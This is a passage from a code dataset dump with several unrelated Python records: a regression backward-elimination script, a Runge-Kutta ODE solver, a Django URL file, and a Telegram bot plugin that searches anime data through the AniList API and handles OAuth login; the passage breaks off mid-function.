= 1)\ndef backwardElimination(x, sl):\n numVars = len(x[0])\n for i in range(0, numVars):\n regressor_OLS = sm.OLS(y, x).fit()\n maxVar = max(regressor_OLS.pvalues).astype(float)\n if maxVar > sl:\n for j in range(0, numVars - i):\n if (regressor_OLS.pvalues[j].astype(float) == maxVar):\n x = np.delete(x, j, 1)\n regressor_OLS.summary()\n return x\n \nSL = 0.05\nX_opt = X[:, [0, 1, 2, 3, 4, 5]]\nX_Modeled = backwardElimination(X_opt, SL)\n\n\n\"\"\"\n\nAutomatic Implementation of Backward Elimination Using P-values and Adjusted\nR Squared.\n\n\"\"\"\n\"\"\"\n\nimport statsmodels.formula.api as sm\ndef backwardElimination(x, SL):\n numVars = len(x[0])\n temp = np.zeros((50,6)).astype(int)\n for i in range(0, numVars):\n regressor_OLS = sm.OLS(y, x).fit()\n maxVar = max(regressor_OLS.pvalues).astype(float)\n adjR_before = regressor_OLS.rsquared_adj.astype(float)\n if maxVar > SL:\n for j in range(0, numVars - i):\n if (regressor_OLS.pvalues[j].astype(float) == maxVar):\n temp[:,j] = x[:, j]\n x = np.delete(x, j, 1)\n tmp_regressor = sm.OLS(y, x).fit()\n adjR_after = tmp_regressor.rsquared_adj.astype(float)\n if (adjR_before >= adjR_after):\n x_rollback = np.hstack((x, temp[:,[0,j]]))\n x_rollback = np.delete(x_rollback, j, 1)\n print (regressor_OLS.summary())\n return x_rollback\n else:\n continue\n regressor_OLS.summary()\n return x\n \nSL = 0.05\nX_opt = X[:, [0, 1, 2, 3, 4, 5]]\nX_Modeled = backwardElimination(X_opt, SL)\n\n\"\"\"\n","sub_path":"MachineLearning/Part 2 - Regression/Section 5 - Multiple Linear Regression/MLR.py","file_name":"MLR.py","file_ext":"py","file_size_in_byte":4800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"263168547","text":"from __future__ import division\nimport numpy as np\n\n\ndef __compute_k__(fun, ti, vi, h, *args):\n \"\"\"Computes the k values for the rk44 method.\n\n :fun: ODE function, must be in the form of f(t, v), return v\n :ti: time for previous iteration\n :vi: previous time step values (in iterable form)\n :h: time step\n :returns:\n :k: array of k values (two-dimensional numpy array)\n\n \"\"\"\n # convert to numpy array\n vi = np.array(vi)\n\n # initialize k\n k = []\n\n # compute values for k from fun = f(ti, vi)\n k.append(h*np.array(fun(ti, vi, *args)))\n k.append(h*np.array(fun(ti+h/2, vi+k[-1]/2, *args)))\n k.append(h*np.array(fun(ti+h/2, vi+k[-1]/2, *args)))\n k.append(h*np.array(fun(ti+h, vi+k[-1], *args)))\n\n return np.array(k).T\n\n\ndef step(fun, ti, vi, h, *args):\n \"\"\"Performs a single step of rk44 integration for second order ode.\n\n :fun: ODE function, must be in the form of f(t, v)\n :ti: time at start of time step\n :vi: values at start of time step (in iterable form)\n :h: time step\n :returns:\n :t: time at end of time step\n :v: values at end of time step (as list)\n\n \"\"\"\n k = __compute_k__(fun, ti, vi, h, *args)\n\n # weights of k's for rk44\n wts = [1, 2, 2, 1]\n\n # compute velocity, use numpy's dot product to compute weighted sum\n v = vi + k.dot(wts)/6\n\n # increment time step\n t = ti + h\n\n return t, list(v)\n\n\ndef rk44(fun, ti, vi, tf, h, *args):\n \"\"\"Performs Runge-Kutta integration for second order ODE.\n\n :fun: ODE function, must be in the form of f(t, r, v)\n :ti: initial time\n :vi: initial conditions (in iterable form)\n :tf: final evaluation time\n :h: time step\n :returns:\n :t: final time value\n :v: final values at tf (as list)\n\n \"\"\"\n\n # initialization of solution variables\n t = ti\n v = list(vi)\n\n # step until time reaches final time\n while t < tf:\n\n # allow for h to change to ensure time stops at tf (if necessary)\n hstep = min(h, tf-t)\n\n t, v = step(fun, t, v, hstep, *args)\n\n return t, v\n","sub_path":"orbital/rk44.py","file_name":"rk44.py","file_ext":"py","file_size_in_byte":2088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"310975375","text":"from django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n\n url(r'^register/$',views.register), # 跳转到注册页面\n url(r'^register_handle/$',views.register_handle), # 注册方法\n url(r'^register_exist/$',views.register_exist), # 验证用户名是否存在\n url(r'^login/$',views.login), #跳转到用户登录页面\n url(r'^login_handle/$',views.login_handle), # 用户登录方法\n url(r'^info/$',views.toUserInfo), # 跳转到用户中心界面\n url(r'^order/$',views.turnToOrder), # 跳转到 用户中心->全部订单页面\n url(r'^site/$',views.turnToSite) # 跳转到 用户中心->收货地址页面\n]","sub_path":"电商项目/dailyFresh/df_user/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"277168317","text":"# base code was taken from @DeletedUser420's Userge-Plugins repo\r\n# originally authored by Phyco-Ninja (https://github.com/Phyco-Ninja) (@PhycoNinja13b)\r\n# I've just tweaked his file a bit (maybe a lot)\r\n# But i sticked to the result format he used which looked cool\r\n\r\n\"\"\" Search for Anime related Info using Anilist API \"\"\"\r\n\r\n\r\nimport asyncio\r\nimport requests\r\nimport time\r\nimport random\r\nimport re\r\nimport os\r\nfrom pyrogram import filters\r\nfrom pyrogram.types import CallbackQuery, InlineKeyboardButton, InlineKeyboardMarkup, InputMediaPhoto, Message\r\nfrom pyrogram.errors import UserNotParticipant\r\nfrom .. import ANILIST_CLIENT, ANILIST_REDIRECT_URL, ANILIST_SECRET, OWNER, TRIGGERS as trg, BOT_NAME, anibot\r\nfrom ..utils.data_parser import (\r\n get_all_genres, get_all_tags, get_top_animes, get_user_activity, get_user_favourites, toggle_favourites,\r\n get_anime, get_airing, get_anilist, get_character, get_additional_info, get_manga, browse_,\r\n get_featured_in_lists, update_anilist, get_user, ANIME_DB, MANGA_DB, CHAR_DB\r\n)\r\nfrom ..utils.helper import ANON_JSON, check_user, get_btns, AUTH_USERS, rand_key, clog, control_user, update_pics_cache\r\nfrom ..utils.db import get_collection\r\n\r\nGROUPS = get_collection(\"GROUPS\")\r\nSFW_GRPS = get_collection(\"SFW_GROUPS\")\r\nDC = get_collection('DISABLED_CMDS')\r\nAG = get_collection('AIRING_GROUPS')\r\nCG = get_collection('CRUNCHY_GROUPS')\r\nSG = get_collection('SUBSPLEASE_GROUPS')\r\nHD = get_collection('HEADLINES_GROUPS')\r\n\r\nno_pic = [\r\n 'https://telegra.ph/file/0d2097f442e816ba3f946.jpg',\r\n 'https://telegra.ph/file/5a152016056308ef63226.jpg',\r\n 'https://telegra.ph/file/d2bf913b18688c59828e9.jpg',\r\n 'https://telegra.ph/file/d53083ea69e84e3b54735.jpg',\r\n 'https://telegra.ph/file/b5eb1e3606b7d2f1b491f.jpg'\r\n]\r\n\r\n\r\n@anibot.on_message(filters.command([\"anime\", f\"anime{BOT_NAME}\"], prefixes=trg))\r\n@control_user\r\nasync def anime_cmd(client: anibot, message: Message, mdata: dict):\r\n \"\"\"Search Anime Info\"\"\"\r\n text = mdata['text'].split(\" \", 1)\r\n gid = mdata['chat']['id']\r\n gidtype = mdata['chat']['type']\r\n user = mdata['from_user']['id']\r\n if gidtype in [\"supergroup\", \"group\"] and not await (GROUPS.find_one({\"id\": gid})):\r\n try:\r\n gidtitle = mdata['chat']['username']\r\n except KeyError:\r\n gidtitle = mdata['chat']['title']\r\n await GROUPS.insert_one({\"id\": gid, \"grp\": gidtitle})\r\n await clog(\"ANIBOT\", f\"Bot added to a new group\\n\\n{gidtitle}\\nID: `{gid}`\", \"NEW_GROUP\")\r\n find_gc = await DC.find_one({'_id': gid})\r\n if find_gc is not None and 'anime' in find_gc['cmd_list'].split():\r\n return\r\n if len(text)==1:\r\n k = await message.reply_text(\"Please give a query to search about\\nexample: /anime Ao Haru Ride\")\r\n await asyncio.sleep(5)\r\n return await k.delete()\r\n query = text[1]\r\n auth = False\r\n vars_ = {\"search\": query}\r\n if query.isdigit():\r\n vars_ = {\"id\": int(query)}\r\n if (await AUTH_USERS.find_one({\"id\": user})):\r\n auth = True\r\n result = await get_anime(vars_, user=user, auth=auth)\r\n if len(result) != 1:\r\n title_img, finals_ = result[0], result[1]\r\n else:\r\n k = await message.reply_text(result[0])\r\n await asyncio.sleep(5)\r\n return await k.delete()\r\n buttons = get_btns(\"ANIME\", result=result, user=user, auth=auth)\r\n if await (SFW_GRPS.find_one({\"id\": gid})) and result[2].pop()==\"True\":\r\n await client.send_photo(gid, no_pic[random.randint(0, 4)], caption=\"This anime is marked 18+ and not allowed in this group\")\r\n return\r\n await client.send_photo(gid, title_img, caption=finals_, reply_markup=buttons)\r\n await update_pics_cache(title_img)\r\n\r\n\r\n@anibot.on_message(filters.command([\"manga\", f\"manga{BOT_NAME}\"], prefixes=trg))\r\n@control_user\r\nasync def manga_cmd(client: anibot, message: Message, mdata: dict):\r\n \"\"\"Search Manga Info\"\"\"\r\n text = mdata['text'].split(\" \", 1)\r\n gid = mdata['chat']['id']\r\n gidtype = mdata['chat']['type']\r\n user = mdata['from_user']['id']\r\n if gidtype in [\"supergroup\", \"group\"] and not await (GROUPS.find_one({\"id\": gid})):\r\n try:\r\n gidtitle = mdata['chat']['username']\r\n except KeyError:\r\n gidtitle = mdata['chat']['title']\r\n await GROUPS.insert_one({\"id\": gid, \"grp\": gidtitle})\r\n await clog(\"ANIBOT\", f\"Bot added to a new group\\n\\n{gidtitle}\\nID: `{gid}`\", \"NEW_GROUP\")\r\n find_gc = await DC.find_one({'_id': gid})\r\n if find_gc is not None and 'manga' in find_gc['cmd_list'].split():\r\n return\r\n if len(text)==1:\r\n k = await message.reply_text(\"Please give a query to search about\\nexample: /manga The teasing master Takagi san\")\r\n await asyncio.sleep(5)\r\n return await k.delete()\r\n query = text[1]\r\n qdb = rand_key()\r\n MANGA_DB[qdb] = query\r\n auth = False\r\n if (await AUTH_USERS.find_one({\"id\": user})):\r\n auth = True\r\n result = await get_manga(qdb, 1, auth=auth, user=user)\r\n if len(result) == 1:\r\n k = await message.reply_text(result[0])\r\n await asyncio.sleep(5)\r\n return await k.delete()\r\n pic, finals_ = result[0], result[1][0]\r\n buttons = get_btns(\"MANGA\", lsqry=qdb, lspage=1, user=user, result=result, auth=auth)\r\n if await (SFW_GRPS.find_one({\"id\": gid})) and result[2].pop()==\"True\":\r\n buttons = get_btns(\"MANGA\", lsqry=qdb, lspage=1, user=user, result=result, auth=auth, sfw=\"True\")\r\n await client.send_photo(gid, no_pic[random.randint(0, 4)], caption=\"This manga is marked 18+ and not allowed in this group\", reply_markup=buttons)\r\n return\r\n await client.send_photo(gid, pic, caption=finals_, reply_markup=buttons)\r\n await update_pics_cache(pic)\r\n\r\n\r\n@anibot.on_message(filters.command([\"character\", f\"character{BOT_NAME}\"], prefixes=trg))\r\n@control_user\r\nasync def character_cmd(client: anibot, message: Message, mdata: dict):\r\n \"\"\"Get Info about a Character\"\"\"\r\n text = mdata['text'].split(\" \", 1)\r\n gid = mdata['chat']['id']\r\n gidtype = mdata['chat']['type']\r\n user = mdata['from_user']['id']\r\n if gidtype in [\"supergroup\", \"group\"] and not await (GROUPS.find_one({\"id\": gid})):\r\n try:\r\n gidtitle = mdata['chat']['username']\r\n except KeyError:\r\n gidtitle = mdata['chat']['title']\r\n await GROUPS.insert_one({\"id\": gid, \"grp\": gidtitle})\r\n await clog(\"ANIBOT\", f\"Bot added to a new group\\n\\n{gidtitle}\\nID: `{gid}`\", \"NEW_GROUP\")\r\n find_gc = await DC.find_one({'_id': gid})\r\n if find_gc is not None and 'character' in find_gc['cmd_list'].split():\r\n return\r\n if len(text)==1:\r\n k = await message.reply_text(\"Please give a query to search about\\nexample: /character Nezuko\")\r\n await asyncio.sleep(5)\r\n return await k.delete()\r\n query = text[1]\r\n qdb = rand_key()\r\n CHAR_DB[qdb]=query\r\n auth = False\r\n if (await AUTH_USERS.find_one({\"id\": user})):\r\n auth = True\r\n result = await get_character(qdb, 1, auth=auth, user=user)\r\n if len(result) == 1:\r\n k = await message.reply_text(result[0])\r\n await asyncio.sleep(5)\r\n return await k.delete()\r\n img = result[0]\r\n cap_text = result[1][0]\r\n buttons = get_btns(\"CHARACTER\", user=user, lsqry=qdb, lspage=1, result=result, auth=auth)\r\n await client.send_photo(gid, img, caption=cap_text, reply_markup=buttons)\r\n\r\n\r\n@anibot.on_message(filters.command([\"anilist\", f\"anilist{BOT_NAME}\"], prefixes=trg))\r\n@control_user\r\nasync def anilist_cmd(client: anibot, message: Message, mdata: dict):\r\n text = mdata['text'].split(\" \", 1)\r\n gid = mdata['chat']['id']\r\n user = mdata['from_user']['id']\r\n find_gc = await DC.find_one({'_id': gid})\r\n if find_gc is not None and 'anilist' in find_gc['cmd_list'].split():\r\n return\r\n if len(text)==1:\r\n k = await message.reply_text(\"Please give a query to search about\\nexample: /anilist rezero\")\r\n await asyncio.sleep(5)\r\n return await k.delete()\r\n query = text[1]\r\n qdb = rand_key()\r\n ANIME_DB[qdb] = query\r\n auth = False\r\n if (await AUTH_USERS.find_one({\"id\": user})):\r\n auth = True\r\n result = await get_anilist(qdb, 1, auth=auth, user=user)\r\n if len(result) == 1:\r\n k = await message.reply_text(result[0])\r\n await asyncio.sleep(5)\r\n return await k.delete()\r\n pic, msg = result[0], result[1][0]\r\n buttons = get_btns(\"ANIME\", lsqry=qdb, lspage=1, result=result, user=user, auth=auth)\r\n if await (SFW_GRPS.find_one({\"id\": gid})) and result[2].pop()==\"True\":\r\n buttons = get_btns(\"ANIME\", lsqry=qdb, lspage=1, result=result, user=user, auth=auth, sfw=\"True\")\r\n await client.send_photo(gid, no_pic[random.randint(0, 4)], caption=\"This anime is marked 18+ and not allowed in this group\", reply_markup=buttons)\r\n return\r\n await client.send_photo(gid, pic, caption=msg, reply_markup=buttons)\r\n await update_pics_cache(pic)\r\n\r\n\r\n@anibot.on_message(filters.command([\"flex\", f\"flex{BOT_NAME}\", \"user\", f\"user{BOT_NAME}\"], prefixes=trg))\r\n@control_user\r\nasync def flex_cmd(client: anibot, message: Message, mdata: dict):\r\n query = mdata['text'].split(\" \", 1)\r\n gid = mdata['chat']['id']\r\n qry = None\r\n find_gc = await DC.find_one({'_id': gid})\r\n if \"user\" in query[0]:\r\n if find_gc is not None and 'user' in find_gc['cmd_list'].split():\r\n return\r\n if not len(query)==2:\r\n k = await message.reply_text(\"Please give an anilist username to search about\\nexample: /user Lostb053\")\r\n await asyncio.sleep(5)\r\n return await k.delete()\r\n else:\r\n qry = {\"search\": query[1]}\r\n if find_gc is not None and 'flex' in find_gc['cmd_list'].split():\r\n return\r\n user = mdata['from_user']['id']\r\n if not \"user\" in query[0] and not (await AUTH_USERS.find_one({\"id\": user})):\r\n return await message.reply_text(\r\n \"Please connect your account first to use this cmd\",\r\n reply_markup=InlineKeyboardMarkup([[InlineKeyboardButton(\"Auth\", url=f\"https://t.me/{BOT_NAME.replace('@', '')}/?start=auth\")]])\r\n )\r\n result = await get_user(qry, query[0], user)\r\n if len(result) == 1:\r\n k = await message.reply_text(result[0])\r\n await asyncio.sleep(5)\r\n return await k.delete()\r\n pic, msg, buttons = result\r\n await client.send_photo(gid, pic, caption=msg, reply_markup=buttons)\r\n\r\n\r\n@anibot.on_message(filters.command([\"top\", f\"top{BOT_NAME}\"], prefixes=trg))\r\n@control_user\r\nasync def top_tags_cmd(client: anibot, message: Message, mdata: dict):\r\n query = mdata['text'].split(\" \", 1)\r\n gid = mdata['chat']['id']\r\n find_gc = await DC.find_one({'_id': gid})\r\n if find_gc is not None and 'top' in find_gc['cmd_list'].split():\r\n return\r\n get_tag = \"None\"\r\n if len(query)==2:\r\n get_tag = query[1]\r\n user = mdata['from_user']['id']\r\n result = await get_top_animes(get_tag, 1, user)\r\n if len(result) == 1:\r\n k = await message.reply_text(result[0])\r\n await asyncio.sleep(5)\r\n return await k.delete()\r\n if await (SFW_GRPS.find_one({\"id\": gid})) and str(result[0][1])==\"True\":\r\n return await message.reply_text('No nsfw stuff allowed in this group!!!')\r\n msg, buttons = result\r\n await client.send_message(gid, msg[0], reply_markup=buttons if buttons!='' else None)\r\n\r\n\r\n@anibot.on_message(filters.command([\"airing\", f\"airing{BOT_NAME}\"], prefixes=trg))\r\n@control_user\r\nasync def airing_cmd(client: anibot, message: Message, mdata: dict):\r\n \"\"\"Get Airing Detail of Anime\"\"\"\r\n text = mdata['text'].split(\" \", 1)\r\n gid = mdata['chat']['id']\r\n find_gc = await DC.find_one({'_id': gid})\r\n if find_gc is not None and 'airing' in find_gc['cmd_list'].split():\r\n return\r\n if len(text)==1:\r\n k = await message.reply_text(\"Please give a query to search about\\nexample: /airing Fumetsu no Anata e\")\r\n await asyncio.sleep(5)\r\n return await k.delete()\r\n query = text[1]\r\n vars_ = {\"search\": query}\r\n if query.isdigit():\r\n vars_ = {\"id\": int(query), \"asHtml\": True}\r\n auth = False\r\n user = mdata['from_user']['id']\r\n if (await AUTH_USERS.find_one({\"id\": user})):\r\n auth = True\r\n result = await get_airing(vars_, auth=auth, user=user)\r\n if len(result) == 1:\r\n k = await message.reply_text(result[0])\r\n await asyncio.sleep(5)\r\n return await k.delete()\r\n coverImg, out = result[0]\r\n btn = get_btns(\"AIRING\", user=user, result=result, auth=auth)\r\n if await (SFW_GRPS.find_one({\"id\": gid})) and result[2].pop()==\"True\":\r\n await client.send_photo(gid, no_pic[random.randint(0, 4)], caption=\"This anime is marked 18+ and not allowed in this group\")\r\n return\r\n await client.send_photo(gid, coverImg, caption=out, reply_markup=btn)\r\n await update_pics_cache(coverImg)\r\n\r\n\r\n@anibot.on_message(filters.command([\"auth\", f\"auth{BOT_NAME}\"], prefixes=trg))\r\n@control_user\r\nasync def auth_link_cmd(client, message: Message, mdata: dict):\r\n try:\r\n user = mdata['from_user']['id']\r\n except KeyError:\r\n user = 00000000\r\n if mdata['chat']['id']==user:\r\n text = \"Click the below button to authorize yourself\"\r\n if not os.environ.get('ANILIST_REDIRECT_URL'):\r\n text = \"\"\"Follow the steps to complete Authorization:\r\n1. Click the below button\r\n2. Authorize the app and copy the authorization code\r\n3. Send the code along with cmd /code like '/code auth code from website'\"\"\"\r\n await message.reply_text(\r\n text = text,\r\n reply_markup=InlineKeyboardMarkup([[InlineKeyboardButton(\r\n text=\"Authorize\",\r\n url=f\"https://anilist.co/api/v2/oauth/authorize?client_id={ANILIST_CLIENT}&redirect_uri={ANILIST_REDIRECT_URL}&response_type=code\"\r\n )]])\r\n )\r\n else:\r\n await message.reply_text(\r\n \"Go to bot pm to authorize yourself!!!\",\r\n reply_markup=InlineKeyboardMarkup([[InlineKeyboardButton(\"Auth\", url=f\"https://t.me/{BOT_NAME.replace('@', '')}/?start=auth\")]])\r\n )\r\n\r\n\r\n@anibot.on_message(~filters.private & filters.command([\"settings\", f\"settings{BOT_NAME}\"], prefixes=trg))\r\n@control_user\r\nasync def sfw_cmd(client: anibot, message: Message, mdata: dict):\r\n user = mdata['from_user']['id']\r\n cid = mdata['chat']['id']\r\n if user in OWNER or (await client.get_chat_member(cid, user)).status!='member':\r\n text = \"\"\"\r\nThis allows you to change group settings\r\n \r\nNSFW toggle switches on filtering of 18+ marked content\r\nAiring notifications notifies about airing of anime in recent\r\nCrunchyroll updates will toggle notifications about release of animes on crunchyroll site\r\nSubsplease updates will toggle notifications about release of animes on subsplease site\r\nHeadlines will toggle notifications for anime news powered by livechart.me\r\n\"\"\"\r\n sfw = \"NSFW: Allowed\"\r\n if await (SFW_GRPS.find_one({\"id\": cid})):\r\n sfw = \"NSFW: Not Allowed\"\r\n notif = \"Airing notifications: OFF\"\r\n if await (AG.find_one({\"_id\": cid})):\r\n notif = \"Airing notifications: ON\"\r\n cr = \"Crunchyroll Updates: OFF\"\r\n if await (CG.find_one({\"_id\": cid})):\r\n cr = \"Crunchyroll Updates: ON\"\r\n sp = \"Subsplease Updates: OFF\"\r\n if await (SG.find_one({\"_id\": cid})):\r\n sp = \"Subsplease Updates: ON\"\r\n hd = \"Headlines: OFF\"\r\n if await (HD.find_one({\"_id\": cid})):\r\n hd = \"Headlines: ON\"\r\n await message.reply_text(\r\n text = text,\r\n reply_markup=InlineKeyboardMarkup([\r\n [InlineKeyboardButton(text=sfw, callback_data=f\"settogl_sfw_{cid}\")],\r\n [InlineKeyboardButton(text=notif, callback_data=f\"settogl_notif_{cid}\")],\r\n [InlineKeyboardButton(text=cr, callback_data=f\"settogl_cr_{cid}\")],\r\n [InlineKeyboardButton(text=sp, callback_data=f\"settogl_sp_{cid}\")],\r\n [InlineKeyboardButton(text=hd, callback_data=f\"settogl_hd_{cid}\")]\r\n ])\r\n )\r\n\r\n\r\n@anibot.on_message(filters.private & filters.command(\"code\", prefixes=trg))\r\n@control_user\r\nasync def man_code_cmd(client: anibot, message: Message, _):\r\n text = message.text.split(\" \", 1)\r\n if len(text)==1:\r\n return await message.reply_text('Send the code you obtained from website along with the cmd')\r\n await code_cmd(text[1], message)\r\n\r\n\r\nasync def code_cmd(code: str, message: Message):\r\n headers = {\r\n 'Content-Type': 'application/json',\r\n 'Accept': 'application/json',\r\n }\r\n json = {\r\n 'grant_type': 'authorization_code',\r\n 'client_id': ANILIST_CLIENT,\r\n 'client_secret': ANILIST_SECRET,\r\n 'redirect_uri': ANILIST_REDIRECT_URL,\r\n 'code': code\r\n }\r\n us_ = message.from_user.id\r\n if (await AUTH_USERS.find_one({\"id\": us_})):\r\n return await message.reply_text(\"You have already authorized yourself\\nIf you wish to logout send /logout\")\r\n response: dict = requests.post(\"https://anilist.co/api/v2/oauth/token\", headers=headers, json=json).json()\r\n if response.get(\"access_token\"):\r\n await AUTH_USERS.insert_one({\"id\": us_, \"token\": response.get(\"access_token\")})\r\n await message.reply_text(\"Authorization Successfull!!!\" )\r\n else:\r\n await message.reply_text(\"Please retry authorization process!!!\\nSomething unexpected happened\")\r\n if os.environ.get('ANILIST_REDIRECT_URL'):\r\n await AUTH_USERS.find_one_and_delete({'code': code})\r\n\r\n\r\n@anibot.on_message(filters.command([\"me\", f\"me{BOT_NAME}\", \"activity\", f\"activity{BOT_NAME}\"], prefixes=trg))\r\n@control_user\r\nasync def activity_cmd(client: anibot, message: Message, mdata: dict):\r\n user = mdata['from_user']['id']\r\n gid = mdata['chat']['id']\r\n find_gc = await DC.find_one({'_id': gid})\r\n if find_gc is not None and ('me' or 'activity') in find_gc['cmd_list'].split():\r\n return\r\n if not (await AUTH_USERS.find_one({\"id\": user})):\r\n return await message.reply_text(\r\n \"Please connect your account first to use this cmd\",\r\n reply_markup=InlineKeyboardMarkup([[InlineKeyboardButton(\"Auth\", url=f\"https://t.me/{BOT_NAME.replace('@', '')}/?start=auth\")]])\r\n )\r\n result = await get_user(None, \"flex\", user)\r\n query = result[0].split(\"/\").pop().split(\"?\")[0]\r\n result = await get_user_activity(int(query), user=int(user))\r\n pic, msg, kek = result\r\n btns = InlineKeyboardMarkup([[InlineKeyboardButton(\"Profile\", url=f\"https://anilist.co/user/{query}\")]])\r\n await client.send_photo(gid, pic, caption=msg, reply_markup=btns)\r\n\r\n\r\n@anibot.on_message(filters.command([\"favourites\", f\"favourites{BOT_NAME}\"], prefixes=trg))\r\n@control_user\r\nasync def favourites_cmd(client: anibot, message: Message, mdata: dict):\r\n user = mdata['from_user']['id']\r\n gid = mdata['chat']['id']\r\n find_gc = await DC.find_one({'_id': gid})\r\n if find_gc is not None and 'favourites' in find_gc['cmd_list'].split():\r\n return\r\n if not (await AUTH_USERS.find_one({\"id\": user})):\r\n return await message.reply_text(\r\n \"Please connect your account first to use this cmd\",\r\n reply_markup=InlineKeyboardMarkup([[InlineKeyboardButton(\"Auth\", url=f\"https://t.me/{BOT_NAME.replace('@', '')}/?start=auth\")]])\r\n )\r\n result = await get_user(None, \"flex\", user)\r\n query = result[0].split(\"/\").pop().split(\"?\")[0]\r\n btn = InlineKeyboardMarkup(\r\n [ \r\n [\r\n InlineKeyboardButton(\"ANIME\", callback_data=f\"myfavqry_ANIME_{query}_1_no_{user}\"),\r\n InlineKeyboardButton(\"CHARACTER\", callback_data=f\"myfavqry_CHAR_{query}_1_no_{user}\"),\r\n InlineKeyboardButton(\"MANGA\", callback_data=f\"myfavqry_MANGA_{query}_1_no_{user}\")\r\n ],\r\n [\r\n InlineKeyboardButton(\"Profile\", url=f\"https://anilist.co/user/{query}\")\r\n ]\r\n ]\r\n )\r\n await client.send_photo(gid, result[0], caption=\"Choose one of the below options\", reply_markup=btn)\r\n\r\n\r\n@anibot.on_message(filters.command([\"logout\", f\"logout{BOT_NAME}\"], prefixes=trg))\r\n@control_user\r\nasync def logout_cmd(client: anibot, message: Message, mdata: dict):\r\n try:\r\n user = mdata['from_user']['id']\r\n except KeyError:\r\n user = 00000000\r\n gid = mdata['chat']['id']\r\n if gid == user:\r\n if (await AUTH_USERS.find_one({\"id\": user})):\r\n AUTH_USERS.find_one_and_delete({\"id\": user})\r\n await message.reply_text(\"Logged out!!!\")\r\n else:\r\n await message.reply_text(\"You are not authorized to begin with!!!\")\r\n else:\r\n await message.reply_text(\"Send this cmd in pm!!!\", reply_markup=InlineKeyboardMarkup([[InlineKeyboardButton(\"Logout\", url=f\"https://t.me/{BOT_NAME.replace('@', '')}/?start=logout\")]]))\r\n\r\n\r\n@anibot.on_message(filters.command([\"browse\", f\"browse{BOT_NAME}\"], prefixes=trg))\r\n@control_user\r\nasync def browse_cmd(client: anibot, message: Message, mdata: dict):\r\n user = mdata['from_user']['id']\r\n gid = mdata['chat']['id']\r\n up = 'Upcoming'\r\n tr = '• Trending •'\r\n pp = 'Popular'\r\n btns = [[\r\n InlineKeyboardButton(tr, callback_data=f'browse_{tr.lower()}_{user}'),\r\n InlineKeyboardButton(pp, callback_data=f'browse_{pp.lower()}_{user}'),\r\n InlineKeyboardButton(up, callback_data=f'browse_{up.lower()}_{user}'),\r\n ]]\r\n msg = await browse_('trending')\r\n await client.send_message(gid, msg, reply_markup=InlineKeyboardMarkup(btns))\r\n\r\n\r\n@anibot.on_message(filters.command([\"gettags\", f\"gettags{BOT_NAME}\", \"getgenres\", f\"getgenres{BOT_NAME}\"], prefixes=trg))\r\n@control_user\r\nasync def list_tags_genres_cmd(client, message: Message, mdata: dict):\r\n gid = mdata['chat']['id']\r\n text = mdata['text']\r\n find_gc = await DC.find_one({'_id': gid})\r\n if find_gc is not None and \"gettags\" in text.split()[0] and 'gettags' in find_gc['cmd_list'].split():\r\n return\r\n if find_gc is not None and \"getgenres\" in text.split()[0] and 'getgenres' in find_gc['cmd_list'].split():\r\n return\r\n if await (SFW_GRPS.find_one({\"id\": gid})) and 'nsfw' in text:\r\n return await message.reply_text('No nsfw allowed here!!!')\r\n msg = (await get_all_tags(text)) if \"gettags\" in text.split()[0] else (await get_all_genres())\r\n await message.reply_text(msg)\r\n\r\n\r\n@anibot.on_callback_query(filters.regex(pattern=r\"page_(.*)\"))\r\n@check_user\r\nasync def page_btn(client: anibot, cq: CallbackQuery, cdata: dict):\r\n kek, media, query, page, auth, user = cq.data.split(\"_\")\r\n if media==\"ANIME\":\r\n try:\r\n ANIME_DB[query]\r\n except KeyError:\r\n return await cq.answer(\"Query Expired!!!\\nCreate new one\", show_alert=True)\r\n if media==\"MANGA\":\r\n try:\r\n MANGA_DB[query]\r\n except KeyError:\r\n return await cq.answer(\"Query Expired!!!\\nCreate new one\", show_alert=True)\r\n if media==\"CHARACTER\":\r\n try:\r\n CHAR_DB[query]\r\n except KeyError:\r\n return await cq.answer(\"Query Expired!!!\\nCreate new one\", show_alert=True)\r\n await cq.answer()\r\n authbool = bool(1) if auth==\"True\" else bool(0)\r\n result = await (get_anilist if media == \"ANIME\" else get_character if media == \"CHARACTER\" else get_manga)(query, int(page), auth=authbool, user=int(user))\r\n pic, msg = result[0], result[1][0]\r\n button = get_btns(media, lsqry=query, lspage=int(page), result=result, user=user, auth=authbool)\r\n if await (SFW_GRPS.find_one({\"id\": cdata['message']['chat']['id']})) and media!=\"CHARACTER\" and result[2].pop()==\"True\":\r\n button = get_btns(media, lsqry=query, lspage=int(page), result=result, user=user, auth=authbool, sfw=\"True\")\r\n await cq.edit_message_media(InputMediaPhoto(no_pic[random.randint(0, 4)], caption=\"This material is marked 18+ and not allowed in this group\"), reply_markup=button)\r\n return\r\n await cq.edit_message_media(InputMediaPhoto(pic, caption=msg), reply_markup=button)\r\n await update_pics_cache(pic)\r\n\r\n\r\n@anibot.on_callback_query(filters.regex(pattern=r\"btn_(.*)\"))\r\n@check_user\r\nasync def anime_btn(client: anibot, cq: CallbackQuery, cdata: dict):\r\n await cq.answer()\r\n query = cdata['data'].split(\"_\")\r\n idm = query[1]\r\n user = int(query.pop())\r\n authbool = bool(1) if query[2]==\"True\" else bool(0)\r\n vars_ = {\"id\": int(idm)}\r\n result = await get_anime(vars_, auth=authbool, user=user)\r\n pic, msg = result[0], result[1]\r\n btns = get_btns(\"ANIME\", result=result, user=user, auth=authbool)\r\n await cq.edit_message_media(InputMediaPhoto(pic, caption=msg), reply_markup=btns)\r\n await update_pics_cache(pic)\r\n\r\n\r\n@anibot.on_callback_query(filters.regex(pattern=r\"topanimu_(.*)\"))\r\n@check_user\r\nasync def top_tags_btn(client: anibot, cq: CallbackQuery, cdata: dict):\r\n await cq.answer()\r\n kek, gnr, page, user = cdata['data'].split(\"_\")\r\n result = await get_top_animes(gnr, page=page, user=user)\r\n msg, buttons = result[0][0], result[1]\r\n await cq.edit_message_text(msg, reply_markup=buttons)\r\n\r\n\r\n@anibot.on_callback_query(filters.regex(pattern=r\"settogl_(.*)\"))\r\nasync def nsfw_toggle_btn(client: anibot, cq: CallbackQuery):\r\n cus = cq.from_user.id\r\n gid = cq.data.split('_').pop()\r\n try:\r\n k = (await client.get_chat_member(gid, cus)).status\r\n except 